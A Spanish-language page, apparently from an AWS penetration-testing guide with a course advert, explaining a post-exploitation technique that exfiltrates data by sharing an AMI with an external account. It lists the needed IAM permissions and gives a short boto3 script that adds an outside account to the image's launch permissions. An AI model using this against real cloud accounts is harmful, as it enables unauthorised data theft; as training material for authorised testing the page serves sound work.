Exfiltracion de datos utilizando un Snapshots de una AMI

¿Crees tener lo que se necesita para ser un experto en Pentesting contra AWS? Si nuestro libro te abrió los ojos a las posibilidades de la ciberseguridad ofensiva o si ya cuentas con habilidades en este campo, es momento de subir de nivel. Te retamos a certificarte en el CPNA - Curso Profesional de Pentesting Contra AWS. No será fácil: te enfrentarás a un examen riguroso de 12 horas donde deberás hackear una infraestructura completa alojada en AWS. ¿Listo para el desafío? Acepta el reto y demuestra tu verdadero potencial.

Este contenido se adentra en una técnica avanzada de post-explotación, crucial para entender cómo maximizar el impacto de un ataque una vez que se ha conseguido penetrar en un sistema. Es importante recalcar que la ejecución de esta técnica presupone que el atacante o consultor ya ha obtenido ciertos niveles de privilegios dentro de la infraestructura objetivo. Sin estos privilegios, llevar a cabo el ataque explicado aquí no sería posible. Proceder con cautela y siempre dentro del marco legal y ético es fundamental.

Para modificar los permisos de lanzamiento de una Amazon Machine Image (AMI) y compartirla con una cuenta externa de AWS, como se describe en el escenario de exfiltración, un usuario de IAM necesita permisos específicos en Amazon EC2. Estos permisos permiten al usuario modificar las AMIs y controlar quién puede utilizarlas. A continuación, se detallan los permisos requeridos y se ofrece un ejemplo de código no conforme que muestra cómo se compartiría una AMI, seguido de la explicación de los permisos necesarios.

Permisos Requeridos

Para modificar los permisos de lanzamiento de una AMI y compartirla con una cuenta externa, un usuario de IAM necesita los siguientes permisos:

  • ec2:ModifyImageAttribute: Este permiso permite al usuario modificar atributos de una AMI, incluyendo los permisos de lanzamiento, que controlan qué cuentas de AWS pueden lanzar instancias usando la AMI.

  • ec2:DescribeImages: Aunque este permiso no es necesario para modificar directamente los atributos de la AMI, es útil para que el usuario pueda obtener detalles sobre las AMIs antes de modificarlas.

import boto3

# Crear un cliente de EC2
ec2_client = boto3.client('ec2')

# Definir el ID de la AMI
ami_id = 'ami-01234567890abcdef'

# Definir el ID de la cuenta AWS con la que compartir la AMI
account_id = '123456789012'

# Modificar los permisos de lanzamiento para compartir la AMI
ec2_client.modify_image_attribute(
    ImageId=ami_id,
    LaunchPermission={
        'Add': [{'UserId': account_id}]
    }
)

Última actualización